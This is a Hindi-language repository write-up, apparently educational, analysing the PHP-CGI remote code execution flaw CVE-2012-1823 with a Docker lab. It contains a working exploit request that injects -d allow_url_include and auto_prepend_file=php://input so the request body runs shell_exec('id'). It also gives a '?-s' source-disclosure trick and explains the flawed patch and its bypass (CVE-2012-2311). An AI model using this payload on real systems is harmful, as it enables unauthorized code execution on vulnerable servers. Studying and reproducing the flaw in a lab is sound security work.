cyberharsh/php_cve-2012-1823CVE-2012-1823 का शैक्षिक PoC और विश्लेषण, जो एक PHP-CGI रिमोट कोड निष्पादन कमजोरी है। इसमें Docker-आधारित परीक्षण वातावरण, शोषण प्रदर्शन, और मूल कारण और बाईपास का विस्तृत तकनीकी विवरण शामिल है।
संकलन और चलाने का वातावरण:
docker-compose build
docker-compose up -d
वातावरण प्रारंभ होने के बाद, http://your-ip:8080/ पर जाएं, "Hello" दिखाई देगा।
http://your-ip:8080/index.php?-s पर जाएं, स्रोत कोड प्रकट होगा, जो भेद्यता की उपस्थिति दर्शाता है। निम्नलिखित डेटा पैकेट भेजें, Body में कोड निष्पादित होता देखा जाएगा:
POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: example.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
<?php echo shell_exec("id"); ?>
सबसे पहले, PHP के रनिंग मोड का परिचय दें।
PHP स्रोत कोड डाउनलोड करें, देखेंगे कि इसमें एक निर्देशिका है जिसे sapi कहते हैं। PHP में sapi की भूमिका एक संदेश "ट्रांसमीटर" की तरह है, जैसे मैंने अपने लेख "Fastcgi प्रोटोकॉल विश्लेषण && PHP-FPM अनधिकृत पहुंच भेद्यता && Exp लेखन" में fpm के बारे में बताया था, इसका काम वेब कंटेनर द्वारा fastcgi प्रोटोकॉल के माध्यम से पैक किए गए डेटा को प्राप्त करना और PHP इंटरप्रेटर को निष्पादित करना है।
fpm के अलावा, सबसे आम sapi Apache के लिए mod_php है, यह sapi PHP और Apache के बीच डेटा आदान-प्रदान के लिए उपयोग होता है।
php-cgi भी एक sapi है। प्राचीन समय में, वेब अनुप्रयोगों का रनिंग तरीका बहुत सरल था: वेब कंटेनर http डेटा पैकेट प्राप्त करता था, उपयोगकर्ता द्वारा अनुरोधित फ़ाइल (cgi स्क्रिप्ट) लेता था, और एक चाइल्ड प्रक्रिया (इंटरप्रेटर) फोर्क करता था जो उस फ़ाइल को निष्पादित करता था, फिर परिणाम सीधे उपयोगकर्ता को लौटाता था, और उस इंटरप्रेटर की प्रक्रिया समाप्त हो जाती थी। bash, perl आदि भाषाओं पर आधारित वेब अनुप्रयोग अक्सर इसी तरह निष्पादित होते थे, इस निष्पादन मोड को सामान्यतः cgi कहा जाता है। Apache स्थापित करते समय डिफ़ॉल्ट रूप से एक cgi-bin निर्देशिका होती है, जहाँ मूल रूप से ये cgi स्क्रिप्ट रखी जाती थीं।
लेकिन cgi मोड में एक घातक दोष है, जैसा कि सर्वविदित है, प्रक्रियाओं का निर्माण और शेड्यूलिंग कुछ खपत करता है, और प्रक्रियाओं की संख्या भी असीमित नहीं है। इसलिए, cgi मोड पर चलने वाली वेबसाइटें आमतौर पर एक साथ बड़ी संख्या में अनुरोध नहीं संभाल सकतीं, क्योंकि प्रत्येक अनुरोध एक चाइल्ड प्रक्रिया उत्पन्न करता है, जो सर्वर को ओवरलोड कर सकता है। इसलिए बाद में fastcgi आया, fastcgi प्रक्रिया पृष्ठभूमि में लगातार चल सकती है, और fastcgi प्रोटोकॉल के माध्यम से डेटा पैकेट प्राप्त कर सकती है, निष्पादित करके परिणाम लौटा सकती है, लेकिन स्वयं समाप्त नहीं होती।
PHP में php-cgi नामक एक sapi है, php-cgi के दो कार्य हैं: पहला, cgi मोड में इंटरैक्शन प्रदान करना; दूसरा, fastcgi मोड में इंटरैक्शन प्रदान करना। यानी, हम perl की तरह वेब कंटेनर को सीधे php-cgi प्रक्रिया फोर्क कर किसी स्क्रिप्ट को निष्पादित करने दे सकते हैं; या पृष्ठभूमि में php-cgi -b 127.0.0.1:9000 चला सकते हैं (php-cgi fastcgi प्रबंधक के रूप में), और वेब कंटेनर को fastcgi प्रोटोकॉल के माध्यम से 9000 पोर्ट से संवाद करने दे सकते हैं।
तो फिर मैंने पहले जिस fpm का उल्लेख किया वह क्या है? PHP में दो fastcgi प्रबंधक क्यों हैं? PHP में वास्तव में दो fastcgi प्रबंधक हैं, php-cgi fastcgi मोड में चल सकता है, और fpm भी fastcgi मोड में चलता है। लेकिन fpm PHP संस्करण 5.3 के बाद पेश किया गया एक अधिक कुशल fastcgi प्रबंधक है, इसके कई फायदे हैं, मैं यहाँ विस्तार में नहीं जाऊँगा, आप स्वयं स्रोत कोड देख सकते हैं। क्योंकि fpm के अधिक फायदे हैं, अब अधिक से अधिक वेब अनुप्रयोग php-fpm का उपयोग कर PHP चलाते हैं।
अब हम इस भेद्यता पर वापस आते हैं। CVE-2012-1823 php-cgi sapi में एक भेद्यता है, मैंने ऊपर php-cgi के दो रनिंग मोड बताए: cgi और fastcgi, यह भेद्यता केवल cgi मोड में चलने वाले php में होती है।
सीधे शब्दों में कहें तो, इस भेद्यता में उपयोगकर्ता के अनुरोध का querystring php-cgi के पैरामीटर के रूप में ले लिया जाता है, जिसके परिणामस्वरूप कई समस्याएँ उत्पन्न होती हैं।
सिद्धांत की जाँच करें, RFC3875 में निर्दिष्ट है कि जब querystring में डिकोड न किया गया = चिह्न न हो, तो querystring को cgi पैरामीटर के रूप में पारित किया जाना चाहिए। इसलिए, Apache सर्वर ने इस कार्यक्षमता को लागू किया।
लेकिन PHP ने RFC के इस नियम पर ध्यान नहीं दिया, हो सकता है पहले ध्यान दिया गया और संभाला गया, संभालने का तरीका यह था कि वेब संदर्भ में पैरामीटर पारित करने की अनुमति न दी जाए। लेकिन 2004 में एक डेवलपर ने निम्नलिखित टिप्पणी प्रकाशित की:
From: Rasmus Lerdorf <rasmus <at> lerdorf.com>
Subject: [PHP-DEV] php-cgi command line switch memory check
Newsgroups: gmane.comp.php.devel
Date: 2004-02-04 23:26:41 GMT (7 years, 49 weeks, 3 days, 20 hours and 39 minutes ago)
हमारे SAPI cgi में हमारे पास इस प्रकार की जाँच है:
if (getenv("SERVER_SOFTWARE")
|| getenv("SERVER_NAME")
|| getenv("GATEWAY_INTERFACE")
|| getenv("REQUEST_METHOD")) {
cgi = 1;
}
if(!cgi) getopt(...)
अर्थात, यदि हम वेब संदर्भ में चल रहे हैं तो हम cgi बाइनरी के लिए कमांड लाइन आर्गुमेंट्स को पार्स नहीं करते। उसी समय, हमारी रिग्रेशन टेस्टिंग सिस्टम cgi बाइनरी का उपयोग करने की कोशिश करती है और GET/POST अनुरोधों का सही परीक्षण करने के लिए ये वेरिएबल्स सेट करती है। रिग्रेशन टेस्टिंग सिस्टम से हम -d का व्यापक उपयोग करते हैं ताकि ini सेटिंग्स को ओवरराइड करके हमारा परीक्षण वातावरण सही रहे। बेशक, ये दो विचार परस्पर विरोधी हैं, इसलिए वर्तमान में हमारी रिग्रेशन टेस्टिंग कुछ हद तक टूटी हुई है। हमने इस पर ध्यान नहीं दिया क्योंकि हमारे पास GET/POST डेटा वाले कई परीक्षण नहीं हैं और हम शायद ही cgi बाइनरी बनाते हैं।
यहाँ प्रश्न का बिंदु यह है कि क्या किसी को याद है कि हमने cgi संस्करण के लिए कमांड लाइन आर्गुमेंट्स को पार्स न करने का निर्णय क्यों लिया? मैं आसानी से देख सकता हूँ कि ऐसा cgi स्क्रिप्ट लिखना उपयोगी होगा जैसे:
#!/usr/local/bin/php-cgi -d include_path=/path
<?php
...
?>
और यह कमांड लाइन और वेब संदर्भ दोनों से काम करे।
जहाँ तक मैं देख सकता हूँ, यह किसी भी चीज़ से संघर्ष नहीं करेगा, लेकिन किसी समय किसी के पास इसकी अनुमति न देने का कोई कारण रहा होगा।
- Rasmus
स्पष्ट रूप से, इस डेवलपर का उद्देश्य #!/usr/local/bin/php-cgi -d include_path=/path जैसे लेखन का उपयोग करके परीक्षण को सुविधाजनक बनाना था, और उन्होंने सोचा कि php-cgi को कमांड लाइन आर्गुमेंट्स स्वीकार करने से प्रतिबंधित नहीं किया जाना चाहिए, और यह सुविधा किसी अन्य कोड से टकराती नहीं है।
इस प्रकार, if(!cgi) getopt(...) हटा दिया गया।
लेकिन स्पष्ट रूप से, RFC में कमांड लाइन के विवरण के अनुसार, कमांड लाइन पैरामीटर न केवल #!/usr/local/bin/php-cgi -d include_path=/path के माध्यम से php-cgi में पारित किए जा सकते हैं, बल्कि querystring के माध्यम से भी पारित किए जा सकते हैं।
यही इस भेद्यता का ऐतिहासिक कारण है।
तो, नियंत्रणीय कमांड लाइन पैरामीटर के साथ क्या किया जा सकता है?
स्रोत कोड पढ़ने पर, मैंने पाया कि cgi मोड में निम्नलिखित पैरामीटर उपलब्ध हैं:
-c php.ini फ़ाइल का स्थान निर्दिष्ट करें-n php.ini फ़ाइल लोड न करें-d कॉन्फ़िगरेशन आइटम निर्दिष्ट करें-b fastcgi प्रक्रिया प्रारंभ करें-s फ़ाइल स्रोत कोड दिखाएं-T निर्दिष्ट फ़ाइल को निर्दिष्ट संख्या में निष्पादित करें-h और -? सहायता दिखाएंसबसे सरल उपयोग निश्चित रूप से -s है, जो सीधे स्रोत कोड दिखा सकता है:
लेकिन जिन पाठकों ने मेरा fastcgi लेख पढ़ा है, वे जल्दी ही एक बेहतर उपयोग विधि के बारे में सोचेंगे: -d का उपयोग करके auto_prepend_file निर्दिष्ट करके मनमाना फ़ाइल शामिल करने की भेद्यता उत्पन्न करें और मनमाना कोड निष्पादित करें:
ध्यान दें, स्थान के लिए + या %20 का उपयोग करें, = को url एन्कोडिंग से बदलें।
जब यह भेद्यता सार्वजनिक हुई, तो PHP आधिकारिक टीम ने इसे पैच किया और नए संस्करण 5.4.2 और 5.3.12 जारी किए, लेकिन यह पैच पूर्ण नहीं था, इसे बायपास किया जा सकता था, जिससे CVE-2012-2311 भेद्यता उत्पन्न हुई।
PHP की सुधार विधि - की जाँच करना था:
if(query_string = getenv("QUERY_STRING")) {
decoded_query_string = strdup(query_string);
php_url_decode(decoded_query_string, strlen(decoded_query_string));
if(*decoded_query_string == '-' && strchr(decoded_query_string, '=') == NULL) {
skip_getopt = 1;
}
free(decoded_query_string);
}
देखा जा सकता है, querystring प्राप्त करके डिकोड किया गया, यदि पहला अक्षर - है तो skip_getopt सेट करें, अर्थात कमांड लाइन पैरामीटर प्राप्त न करें।
यह सुधार विधि असुरक्षित थी क्योंकि यदि सिस्टम प्रशासक php-cgi को एक लेयर में लपेटता है:
#!/bin/sh
exec /usr/local/bin/php-cgi $*
तो व्हाइटस्पेस और - का उपयोग करके भी पैरामीटर पारित किए जा सकते हैं। इस स्थिति में querystring का पहला अक्षर व्हाइटस्पेस होगा, - नहीं, जो उपरोक्त जाँच को बायपास कर देता है।
इसलिए, php5.4.3 और php5.3.13 में आगे संशोधन किया गया:
if((query_string = getenv("QUERY_STRING")) != NULL && strchr(query_string, '=') == NULL) {
/* हमारे पास querystring है जिसमें = नहीं है - apache CGI इसे कमांड लाइन पर भेजेगा */
unsigned char *p;
decoded_query_string = strdup(query_string);
php_url_decode(decoded_query_string, strlen(decoded_query_string));
for (p = decoded_query_string; *p && *p <= ' '; p++) {
/* सभी प्रमुख स्थान छोड़ें */
}
if(*p == '-') {
skip_getopt = 1;
}
free(decoded_query_string);
}
पहले सभी व्हाइटस्पेस वर्णों (स्पेस से कम या बराबर) को छोड़ें, फिर जाँचें कि पहला अक्षर - है या नहीं।